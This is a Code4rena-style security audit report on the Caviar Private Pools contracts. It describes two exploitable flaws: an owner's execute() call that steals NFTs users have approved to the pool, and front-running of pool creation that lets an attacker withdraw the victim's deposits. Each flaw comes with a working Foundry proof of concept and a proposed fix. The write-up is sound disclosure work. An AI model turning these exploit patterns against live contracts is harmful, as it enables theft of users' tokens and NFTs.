Caviar Private Pools - 0xTheC0der's results

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L459-L476

Vulnerability details

Impact

The owner of a PrivatePool, i.e. anyone who has the ownership NFT of the pool, can call the transferFrom or safeTransferFrom method of any token / NFT through the execute method of the PrivatePool contract.
In case a user has given approval (for tokens / NFTs) to the PrivatePool, which is always necessary when interacting directly with the contract's buy, sell or change methods, the pool owner can steal those tokens / NFTs or even front-run the aforementioned methods via the execute method.

Risks

• User funds are at immediate risk.
• Special risk in case of NFTs due to common but careless use of setApprovalForAll (puts NFTs at risk that the user doesn't even intend to sell).
• This is clearly not by design, otherwise this would be possible with the PrivatePool's withdraw method.
• The risk is amplified by the fact that the pool ownership is given by an NFT which can transferred, stolen, borrowed (flash loan) or sold itself. (Critical mehtods like execute are usually protected by a time-lock or multisig wallet.)
• This vulnerability is circumvented by using the EthRouter contract since no direct user approvals are given to the pool. However, the user is not forced to use the router.

Severity

The stated risks are my justification to classify this as High Risk finding although the execute method has restricted access.

Proof of Concept

The following PoC will steal an NFT from a user that has given approval to the PrivatePool. Furthermore, the malicious pool owner will front-run the user's call to the sell method in order to make it fail, i.e. additional gas loss for the user.

Just add this test case to test/PrivatePool/Sell.t.sol and run it:

// based on test_TransfersBaseTokenToCaller
function test_StealApprovedNft() public {
    // arrange
    privatePool = new PrivatePool(
        address(factory),
        address(royaltyRegistry),
        address(stolenNftOracle)
    );
    privatePool.initialize(
        address(shibaInu),
        nft,
        virtualBaseTokenReserves,
        virtualNftReserves,
        changeFee,
        feeRate,
        merkleRoot,
        true,
        true
    );

    deal(address(shibaInu), address(privatePool), virtualBaseTokenReserves);
    milady.setApprovalForAll(address(privatePool), true);

    // steal NFT (id=1) after approval and fron-run sell
    address poolNftOwner = address(0x123);
    vm.mockCall( // become pool NFT owner
        address(factory),
        abi.encodeWithSelector(
            ERC721.ownerOf.selector,
            address(privatePool)
        ),
        abi.encode(poolNftOwner)
    );

    vm.startPrank(poolNftOwner);
    privatePool.execute( // steal NFT (id=1) from user to pool NFT owner
        address(milady),
        abi.encodeCall(
            ERC721.transferFrom,
            (address(this), poolNftOwner, 1)
        )
    );
    vm.stopPrank();

    // sell NFTs
    tokenIds.push(1);
    tokenIds.push(2);
    tokenIds.push(3);

    // act
    vm.expectRevert(bytes("WRONG_FROM")); // no longer owner of NFT (id=1)
    privatePool.sell(tokenIds, tokenWeights, proofs, stolenNftProofs);

    // assert
    assertEq(
        milady.ownerOf(1),
        poolNftOwner,
        "Should have transferred NFT (id=1) to pool NFT owner"
    );
}

Log:

Running 1 test for test/PrivatePool/Sell.t.sol:SellTest
[PASS] test_StealApprovedNft() (gas: 3689739)
Test result: ok. 1 passed; 0 failed; finished in 9.83ms

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

Introduce a whitelist (provided by the Factory contract) to restrict which function selectors are allowed to be called from execute.
If this is not suitable for you, I suggest a blacklist instead and add the function selectors of transferFrom, safeTransferFrom, approve and setApprovalForAll (according to ERC20 and ERC721 interfaces) per default.

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/Factory.sol#L71-L125

Vulnerability details

Impact

The creation of a PrivatePool using the Factory contract's create method can be front-run by anyone.
This is a simple griefing attack with no funds at immediate risk if the user who wanted to create the pool notices that the transaction has failed.
If the user fails to recognize the failed transaction and proceeds to deposit funds into the PrivatePool, which was created by the front-runner but the user believes it's his, the funds can be withdrawn only by the front-runner.
So, best-case of this vulnerability is griefing (gas loss for user) and worst-case is loss of funds.

Proof of Concept

The following PoC demonstrates the front-running of a PrivatePool creation with a subsequent deposit of ETH and NFTs by the "orignial" creator. Later on, these funds are withdrawn/stolen from the pool by the front-runner.

First, fix the setUp method in test/Factory/Create.t.sol by moving the line factory = new Factory(); above the construction of the PrivatePool implementation contract. This ensures that the pool ownership checking works correctly.

Second, add the follwing test case to test/Factory/Create.t.sol and run it:

// based on test_MintsNftToCaller
function test_FrontRunCreate() public {
    // predict pool address
    PrivatePool privatePool = PrivatePool(
        payable(factory.predictPoolDeploymentAddress(salt))
    );

    // front-run pool creation
    address frontrunner = address(0x123);
    vm.startPrank(frontrunner);
    factory.create(
        baseToken,
        address(milady),
        virtualBaseTokenReserves,
        virtualNftReserves,
        changeFee,
        feeRate,
        merkleRoot,
        true,
        false,
        salt,
        tokenIds /* empty */,
        0
    );
    vm.stopPrank();

    // "normal" pool creation and deposit funds
    vm.expectRevert(LibClone.DeploymentFailed.selector);
    factory.create(
        baseToken,
        address(milady),
        virtualBaseTokenReserves,
        virtualNftReserves,
        changeFee,
        feeRate,
        merkleRoot,
        true,
        false,
        salt,
        tokenIds /* empty */,
        0
    );

    tokenIds.push(1);
    tokenIds.push(2);
    tokenIds.push(3);
    milady.setApprovalForAll(address(privatePool), true);
    privatePool.deposit{value: baseTokenAmount}(tokenIds, baseTokenAmount);

    // steal deposited funds by front-runner
    vm.startPrank(frontrunner);
    privatePool.withdraw(
        address(milady),
        tokenIds,
        baseToken,
        baseTokenAmount
    );
    vm.stopPrank();

    // assert
    assertEq(
        factory.ownerOf(uint256(uint160(address(privatePool)))),
        frontrunner,
        "Should have minted NFT to the front-runner"
    );
    assertEq(
        frontrunner.balance,
        baseTokenAmount,
        "Should have been withdrawn to front-runner"
    );
}

Log:

Running 1 test for test/Factory/Create.t.sol:CreateTest
[PASS] test_FrontRunCreate() (gas: 8937393460516988494)
Test result: ok. 1 passed; 0 failed; finished in 6.28ms

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

Incorporate the msg.sender into the contract creation salt, e.g. bytes32 newSalt = keccak256(abi.encodePacked(salt, msg.sender)); and use it in the create and predictPoolDeploymentAddress methods of the Factory contract.
This way, an attacker cannot create a PrivatePool at the same address as another user.